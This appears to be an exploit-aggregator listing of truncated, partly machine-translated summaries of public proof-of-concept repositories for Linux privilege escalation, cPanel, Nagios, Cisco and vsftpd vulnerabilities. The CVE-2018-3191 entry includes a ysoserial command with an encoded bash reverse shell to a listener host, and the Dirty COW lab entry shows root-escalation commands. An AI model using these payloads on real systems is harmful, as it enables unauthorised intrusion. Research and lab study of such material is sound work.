CVE-2024-33775

CVE द्वारा खोजा गया: K. Wahab NeoX भेद्यता विवरण: उत्पाद: Nagios XI Version 2024R1.01 भेद्यता: उपयोगकर्ता "NAGIOS" या "APACHE" से विशेषाधिकार वृद्धि परिणाम: लक्ष्य प्रणाली पर पूर्ण रूट पहुंच CVE: https://vulners.com/cve/CVE-2024-33775 शोषण: इस उदाहरण में RSS Dashlet का उपयोग किया गया है। 1. Nagio...

CVE-2019-18634

Vulnerabilità SUDO CVE-2019-18634 Exploit sviluppato in Python per la vulnerabilità BSS overflow di Sudo CVE-2019-18634. Per motivi di studio USO root@kitploit: python run.py Crediti https://github.com/Plazmaz/CVE-2019-18634 https://bestwing.me/CVE-2019-18634-analysis.html...

CVE-2024-37081

VMware vCenter - CVE-2024-37081 Prova di concetto Descrizione Questo repository contiene una prova di concetto PoC per la vulnerabilità CVE-2024-37081 in VMware vCenter. La vulnerabilità è dovuta a una configurazione errata nel file /etc/sudoers che consente la conservazione di variabili ambienta...

CVE-2025-6018-6019-PoC

CVE-2025-6018 & CVE-2025-6019: PoC für lokale Privilege Escalation Ein robustes Proof of Concept PoC zur Verkettung von CVE-2025-6018 PAM/Polkit Active-Session-Bypass und CVE-2025-6019 libblockdev-SUID-Mount-Fehler, um auf verwundbaren Linux-Systemen Root-Zugriff zu erlangen. Haftungsausschluss...

dirtycow-lab

dirtycow-lab Sfruttamento della vulnerabilità Dirty COW CVE-2016-5195 su Ubuntu 16.04.1. cat README.md :/. 4. Esecuzione ed elevazione : chmod +x /dirty && /dirty → su root pass dirtyCowFun. 5. Flag : cat /root/flag.txt → 4GEEKSY0uG0tR00t. ✅ Risultato root@kitploit: root@ubuntu:/home/student whoa...

CVE-2021-3560

CVE-2021-3650 Exploit CVE-2021-3650 Crediti https://github.blog/security/vulnerability-research/privilege-escalation-polkit-root-on-linux-with-bug/ https://github.com/Almorabea/Polkit-exploit...

OffensivePascal-CVE-2011-2523

CVE-2011-2523 Implementazione in FreePascal di CVE-2011-2523 Vulnerabilità vsFTPD 2.3.4 L'uso di : nel nome utente apre una backdoor come root sulla porta 6200 del target Requisiti Synapse. Se non lo hai, installalo tramite l'OPM...

CVE-2018-17873

CVE-2018-17873 I router indoor WiFiRanger Core, GoAC e i relativi router outdoor accoppiati Sky Pro, EliteAC, EliteAC FM con versione firmware 7.0.8rc3 o precedenti consentono accesso FTP anonimo in lettura/scrittura e lasciano la chiave privata SSH in chiaro, rendendo banale visualizzare/copiare...

CVE-2021-3560

Vulnerabilità Polkit - CVE-2021-3560 📕 Introduzione Nel 2021, un ricercatore di nome Kevin BackHouse ha scoperto una vulnerabilità di escalazione dei privilegi nell'utilità polkit. Tuttavia, non tutte le versioni di Linux sono vulnerabili a polkit. Di seguito un esempio di una versione vulnerabil...

DirtyCow

DirtyCow - Exploit Il codice sottostante sfrutta una vulnerabilità nota Dirty COW CVE-2016-5195 per elevare i privilegi e ottenere accesso root. Prima di eseguire, decommenta sc per la tua piattaforma all'interno di main.c. Compilazione: gcc main.c -o dirtycow -lpthread...

CVE-2018-3191

CVE-2018-3191 CVE-2018-3191 reverse shell IP locale: 172.16.38.1 Weblogic: 172.16.38.174:7001 1. Esecuzione locale java -cp ysoserial-master.jar ysoserial.exploit.JRMPListener 2222 CommonsCollections1 'bash -c echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMzguMS83Nzc3IDA+JjE=|base64,-d|bash,-i' Quindi...

Automated-scanner-CVE-2026-41940

CPANEL CVE EXPLOIT English | فارسی Persian root@kitploit: ██████╗██████╗ █████╗ ███╗ ██╗███████╗██╗ ██╔════╝██╔══██╗██╔══██╗████╗ ██║██╔════╝██║ ██║ ██████╔╝███████║██╔██╗ ██║█████╗ ██║ ██║ ██╔═══╝ ██╔══██║██║╚██╗██║██╔══╝ ██║ ╚██████╗██║ ██║ ██║██║ ╚████║███████╗███████╗ ╚═════╝╚═╝ ╚═╝ ╚═╝╚═╝...

Metasploitable2-VAPT-Report

Rapporto VAPT: Compromissione del Sistema Metasploitable 2 Panoramica del Progetto Questo repository contiene un rapporto completo di Vulnerability Assessment e Penetration Testing VAPT per l'ambiente vulnerabile Metasploitable 2. La valutazione segue la metodologia standard di ethical hacking in...

Y2S1-Project-Linux-Exploitaion-using-CVE-2016-5195-Vulnerability

Y2S1-Project-Linux-Exploitaion-using-CVE-2016-5195-Vulnerability सिस्टम शोषण मई 2021 • सिस्टम और नेटवर्क प्रोग्रामिंग मॉड्यूल के अंतर्गत एक शोध किया और एक प्रणाली का शोषण किया ताकि शोषणों और कमजोरियों के बारे में ज्ञान प्राप्त हो सके। • Linux प्रणालियों पर CVE-2016-5195 नामक कमजोरी की पहचान की और...

CVE-2026-31431

CVE-2026-31431 Copy Fail - Detalhes da CVE-2026-31431 https://nvd.nist.gov/vuln/detail/CVE-2026-31431 https://copy.fail/exploit https://xint.io/blog/copy-fail-linux-distributions Distribuição / Versão Testada Distro| Versão ---|--- Ubuntu 24.04 LTS| 6.17.0-1007-aws Amazon Linux 2023|...

CVE-2026-41940

CVE-2026-41940 - Exploit di massa di bypass dell'autenticazione WHM/cPanel 📋 Descrizione CVE-2026-41940 è una vulnerabilità critica di bypass dell'autenticazione in WHM/cPanel che consente agli aggressori di eludere l'autenticazione e ottenere accesso root a un server senza credenziali valide. La...

SNP-Assignment

SNP-Assignment Exploit-Arbeit Privilegieneskalation CVE-2017-1000112 Da die Privilegieneskalation der Meilenstein aus Sicht eines Angreifers ist, versuchte ich, ein wenig Recherche über lokale Privilegieneskalation zu betreiben, was der grundlegende Schritt der gesamten...

cisco-rv-rce-poc

CVE-2023-20048 — PoC & Exploit per serie Cisco RV ⚠ AVVERTENZA: Solo per test autorizzati. Non utilizzare su sistemi di cui non sei proprietario o per i quali non hai autorizzazione scritta. Questo è un Proof of Concept per test autorizzati. Cos'è Piccolo repository con: CiscoPoc.py — PoC innocuo...

Penetration-Testing-Walkthrough-Hacksudo-Thor

HackSudo Thor – Kompletter Penetrationstest-Walkthrough Ziel: HackSudo Thor von VulnHub Aufgabe: Root-Zugriff erlangen und /root/proof.txt lesen Umgebung: Isolierte VirtualBox-Lab-Umgebung, segmentiert durch eine pfSense-Firewall Inhaltsverzeichnis Übersicht Netzwerktopologie Angriffskette –...

vsftpd2.3.4PyExploit

vsftpd2.3.4PyExploit Ein Exploit, um Root-Zugriff in vsftpd 2.3.4 CVE-2011-2523 zu erlangen, geschrieben in Python Verwendung: ./exploit.py $VictimIPaddress Achtung! Der Exploit öffnet eine Shell, die keine Reverse-Shell ist. Ich empfehle, nach dem Exploit eine Reverse-Shell zu öffnen. Ich habe e...